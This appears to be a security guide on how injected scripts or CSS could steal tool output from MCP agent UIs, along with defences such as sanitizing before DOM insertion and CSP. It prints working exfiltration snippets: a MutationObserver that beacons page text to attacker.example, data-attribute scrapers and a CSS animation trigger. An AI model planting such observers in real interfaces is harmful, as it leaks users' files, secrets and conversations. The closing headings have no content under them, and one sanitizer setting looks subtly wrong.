MCP server MutationObserver security — DOM exfiltration, data-attribute scraping, CSS animation timing as exfiltration channel, and sanitizeToolOutput before DOM insertion in MCP UIs

Why MCP UIs are high-value MutationObserver targets

A MutationObserver watching an MCP UI is more valuable to an attacker than one watching a static content site. MCP tool output often contains:

• File contents retrieved by file-reading tools
• Database query results containing PII or business-sensitive data
• API responses from authenticated third-party services (email, calendar, CRM)
• Code generated by the LLM, which may contain hardcoded secrets the user pasted into the prompt
• Conversation history — the full context of what the user was asking the agent to do

Because MCP UIs render all of this in the DOM, a single MutationObserver registration at session start captures the complete exfiltration target for the entire session without any per-request interception.

1. DOM exfiltration via MutationObserver

// Attacker registers a MutationObserver on document.body (or any MCP UI container)
// This code runs via XSS, a compromised npm dependency, or a malicious browser extension

const exfiltrate = (text) => {
  navigator.sendBeacon('https://attacker.example/collect', text);
};

const observer = new MutationObserver(mutations => {
  for (const mutation of mutations) {
    for (const node of mutation.addedNodes) {
      if (node.nodeType === Node.ELEMENT_NODE) {
        // Capture all text content from tool output containers
        if (node.matches('[data-tool-output], .tool-result, .mcp-response')) {
          exfiltrate(node.textContent);
        }
        // Or just capture everything and sort later
        exfiltrate(node.textContent);
      }
    }
  }
});

// Observe the entire document body for subtree changes
observer.observe(document.body, {
  childList: true,   // Watch for nodes added/removed
  subtree: true,     // Watch all descendants, not just direct children
  characterData: true,  // Watch for text content changes (streaming output)
});

2. data-attribute scraping

MCP UIs that store structured tool metadata in data-* attributes (e.g., data-tool-name, data-session-id, data-user-id) allow an attacker to extract structured data without relying on the rendered text content. data- attributes are easier to parse than text content and survive HTML sanitization that strips display content but preserves attributes.

// Example: MCP UI renders tool output with metadata in data- attributes
// <div data-tool="read_file" data-path="/etc/secrets.env" data-session="abc123">
//   FILE CONTENTS: API_KEY=sk-prod-...
// </div>

// Attacker scrapes the structured attributes (easier than parsing text)
const observer = new MutationObserver(mutations => {
  for (const mutation of mutations) {
    for (const node of mutation.addedNodes) {
      if (node.nodeType === Node.ELEMENT_NODE) {
        const toolName = node.dataset.tool;
        const path = node.dataset.path;
        const session = node.dataset.session;
        if (toolName) {
          exfiltrate({ toolName, path, session, content: node.textContent });
        }
        // Also check descendant elements with data- attributes
        node.querySelectorAll('[data-tool]').forEach(el => {
          exfiltrate({ toolName: el.dataset.tool, content: el.textContent });
        });
      }
    }
  }
});

Avoid storing sensitive metadata (file paths, user IDs, session tokens) in data-* attributes on rendered DOM elements. If metadata is needed for JavaScript to operate on tool output elements, use a WeakMap in the application's closure scope instead of DOM attributes that any script can read.

3. CSS animation timing as a JavaScript-free exfiltration channel

CSS animation timing attacks exploit the animationstart event fired when a CSS animation begins on an element matching a selector. By injecting styles that trigger animations on specific selector patterns, an attacker who can inject CSS (but not JavaScript) can exfiltrate data through event timing — without writing a MutationObserver at all. This is relevant for MCP UIs where CSP blocks inline scripts but doesn't block injected stylesheets.

/* Attacker-injected CSS (requires style injection, not script injection) */
/* Fires animationstart event when an element with data-tool="read_file" appears */

@keyframes secret-exfil {}

[data-tool="read_file"] {
  animation: secret-exfil 1ms;
}
[data-tool="execute_command"] {
  animation: secret-exfil 1ms;
}

/* Companion script (if the attacker also has JS access): */
document.addEventListener('animationstart', event => {
  if (event.animationName === 'secret-exfil') {
    exfiltrate({
      tool: event.target.dataset.tool,
      content: event.target.textContent,
    });
  }
}, true);

The CSS-only exfiltration variant (no JavaScript) uses background-image: url('https://attacker.example/?data=...') in combination with CSS attribute selectors and content matching — though this approach is limited in what it can extract compared to a full JavaScript observer. The defense is a strict Content-Security-Policy that blocks style-src to unknown origins and disables animation keyframes from injected stylesheets.

4. Why sanitization must happen before DOM insertion

The most common mistake in MCP UIs is sanitizing tool output after inserting it into the DOM. Even a brief window where unsanitized output is in the DOM is long enough for a MutationObserver callback to fire and capture the unsanitized content before the sanitization pass replaces it.

// WRONG order: insert first, sanitize second (observer fires on unsanitized insert)
async function renderToolOutput(rawOutput: string) {
  const container = document.createElement('div');
  container.innerHTML = rawOutput;  // Injected observer fires here with raw HTML
  document.querySelector('#output').appendChild(container);
  // Sanitize runs after — too late; observer already captured raw content
  container.innerHTML = DOMPurify.sanitize(container.innerHTML);
}

// CORRECT order: sanitize first, then insert (observer only sees sanitized content)
async function renderToolOutput(rawOutput: string) {
  const sanitized = DOMPurify.sanitize(rawOutput, {
    ALLOWED_TAGS: ['p', 'pre', 'code', 'ul', 'ol', 'li', 'strong', 'em', 'a'],
    ALLOWED_ATTR: ['href'],
    FORBID_ATTR: ['data-*', 'class', 'id', 'style'],  // No data-attributes on user content
  });
  const container = document.createElement('div');
  container.innerHTML = sanitized;
  document.querySelector('#output').appendChild(container);
  // Observer fires now — sees only sanitized content, no raw HTML or data-attributes
}

Defense layers for MutationObserver attacks

SkillAudit findings for MutationObserver security